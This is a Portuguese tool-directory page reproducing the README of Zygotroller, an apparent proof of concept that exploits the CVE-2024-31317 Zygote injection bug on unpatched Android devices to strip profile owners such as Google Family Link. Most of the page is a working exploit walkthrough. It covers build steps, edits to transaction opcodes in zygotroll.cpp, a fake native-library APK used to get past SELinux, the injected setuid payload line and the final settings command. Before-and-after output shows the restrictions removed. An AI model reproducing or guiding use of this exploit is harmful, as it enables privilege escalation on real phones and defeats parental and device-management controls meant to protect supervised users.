Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Zygotroller — Remover link de proprietários/família do perfil Android com CVE-2024-31317 | Kitploit
Ferramentas/GitHubGitHub/rifting/zygotroller
Segurança AndroidEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoSegurança MóvelDesenvolvimento de Payloads
GitHubrifting/zygotroller

Zygotroller

Remover link de proprietários/família do perfil Android com CVE-2024-31317

Ver Repositório
41há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Zygotroller

Remova proprietários de perfil/Family Link em QUALQUER dispositivo com Modo de Desenvolvedor anterior a junho de 2024 (Android 12+)

Zygotroller é uma prova de conceito que pode remover um proprietário de perfil e restrições associadas usando o bug de injeção Zygote do CVE-2024-31317. Requer modo de desenvolvedor e que o patch de segurança mais recente seja anterior a junho de 2024.

O sistema de controle parental do Google, Family Link, é mostrado como exemplo neste repositório.

Como usar

Você precisará de um dispositivo relativamente moderno rodando uma distribuição baseada em Debian para compilar o Zygotroller. Pré-compilados podem ou não estar disponíveis dependendo de quando você está lendo isso.

Infelizmente, isso depende de partes internas do Android, então você precisa clonar todo o código-fonte do Android para construir o Zygotroller. Certifique-se de ter pelo menos 400 GB de espaço livre, embora provavelmente use menos.

IMPORTANTE SE USAR WSL: Certifique-se de ter bastante swap, ou o WSL irá travar. Eu pessoalmente usei 32G:

root@kitploit:~
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

Agora, para clonar a fonte do AOSP:

root@kitploit:~
mkdir ~/aosp
cd ~/aosp

repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest

repo sync -c -j8 (pode levar várias tentativas devido a limites de taxa)

source build/envsetup.sh

lunch aosp_cf_arm64_only_phone-aosp_current-eng (se estiver testando em um emulador, mude arm64 para x86_64)

cd ~/aosp/external

git clone https://github.com/rifting/Zygotroller

cd Zygotroller

Agora precisamos alterar os valores no script para o nosso proprietário de perfil real e o opcode para clearProfileOwner. O proprietário de perfil pode estar no pacote "supervision" dos Google Play services ou nos próprios Google Play services. Execute dpm list-owners, meu resultado foi assim:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner

Isso nos dá duas informações que precisamos para o Zygotroller: o nome do pacote (com.google.android.gms.supervision) e o nome da classe (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).

Edite zygotroll.cpp com seu editor de texto preferido e atualize estas linhas para o seu componente de proprietário de perfil:

root@kitploit:~
    // Family Link profile owner
    std::string pkg = "com.google.android.gms.supervision";
    std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";

Agora você precisa encontrar o opcode da função clearProfileOwner do DPM. Para mim foi "91", mas varia dependendo da versão/tipo do Android que você está usando. Para obter o opcode do clearProfileOwner, usei android-svc com o comando

android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'

O número que você ver na saída será o opcode para clearProfileOwner, abra novamente zygotroll.cpp com seu editor de texto preferido e edite o número aqui para o seu opcode real:

root@kitploit:~
    // Transaction code 91 was ClearProfileOwner for my device
    dpm->transact(91, data, &reply);

Você vai querer fazer o mesmo com setUserRestriction:

root@kitploit:~
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);

Agora precisamos compilar o zygotroller:

mm

Isso pode levar MUITO tempo na primeira compilação; compilações subsequentes levarão <1 minuto na maioria das máquinas modernas.

Encontre seu binário em ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller

Agora precisamos criar um aplicativo que contenha este binário como uma "biblioteca compartilhada" que na verdade é apenas o executável do Zygotroller, para que o SELinux nos permita executá-lo. Você pode usar meu repositório "CopyNativeLib" para isso:

git clone https://github.com/rifting/CopyNativeLib.git

Em seguida, renomeie seu binário Zygotroller para libzygotroller.so e coloque-o em app/src/main/jniLibs/arm64-v8a (estou supondo que essa será a arquitetura do seu telefone). Compile o APK no Android Studio e instale no dispositivo com adb install.

O proprietário de perfil do Family Link foi userid 10090 para mim, também conhecido como u0_a90 Faça dumpsys package com.google.android.gms.supervision | grep userId=

Agora dê uma olhada no payload.sh, nesta linha

inject='\n--setuid=10090...

Altere o UID aqui de 10090 para o seu UID do comando dumpsys. Se for o mesmo ID, deixe como está.

Olhe um pouco mais adiante na mesma linha e você verá

...echo zYg0te $(LD_LIBRARY_PATH=[caminho para sua lib nativa] [caminho para sua lib nativa])...

(reticências usadas para mostrar truncamento)

Você precisa substituir estes pelos caminhos para a biblioteca nativa que acabou de instalar no dispositivo. Execute pm path com.rifting.copynativelib. O caminho para o arquivo será o diretório pai do APK mostrado na saída do comando, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH precisa ser o diretório da biblioteca, e depois o caminho real para a biblioteca deve vir em seguida. Então essa linha vai acabar parecendo algo assim:

...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...

Você está quase lá! Envie este arquivo para /data/local/tmp

adb push payload.sh /data/local/tmp

Defina as permissões:

chmod +x /data/local/tmp/payload.sh

E, finalmente, envie sua saída para hidden_api_blacklist_exemptions!

settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"

Agora defina isso como "0" para evitar um bootloop :) settings put global hidden_api_blacklist_exemptions 0

Você deve ver que o proprietário de perfil do Family Link e todas as restrições associadas foram removidos. Vá para Configurações e gerenciar contas e remova a conta supervisionada do dispositivo. Parabéns!

Antes:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
    <restrictions_user user_id="0">
      <restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
    </restrictions_user>
  </device_policy_local_restrictions>
...

Depois:

root@kitploit:~
$ dpm list-owners
no owners
emu64xa:/ $
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...

Agradecimentos Especiais

gburca por BinderDemo

O blog incrível da LLeaves sobre este CVE

Baixar ferramenta